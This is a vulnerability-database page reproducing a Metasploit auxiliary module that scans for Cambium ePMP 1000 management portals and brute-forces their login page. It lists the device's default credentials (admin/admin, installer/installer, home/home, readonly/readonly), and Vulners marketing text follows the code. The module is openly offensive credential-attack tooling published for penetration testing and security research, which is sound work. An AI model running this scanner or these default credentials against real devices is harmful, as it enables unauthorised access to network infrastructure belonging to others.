Lucene search
K

Cambium EPMP 1000 Login Scanner

🗓️ 01 Sep 2024 00:00:00Reported by Karn Ganeshen, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 177 Views

This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::EPMP  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cambium ePMP 1000 Login Scanner',  
'Description' => %{  
This module scans for Cambium ePMP 1000 management login portal(s), and  
attempts to identify valid credentials. Default login credentials are -  
admin/admin, installer/installer, home/home and readonly/readonly.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),  
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])  
], self.class  
)  
end  
  
def run_host(ip)  
unless is_app_epmp1000?  
return  
end  
end  
  
#  
# Brute-force the login page  
#  
  
def do_login(epmp_ver)  
if epmp_ver < '3.4.1' # <3.4.1 uses login_1  
each_user_pass do |user, pass|  
login_1(user, pass, epmp_ver)  
end  
else  
each_user_pass do |user, pass|  
login_2(user, pass, epmp_ver)  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation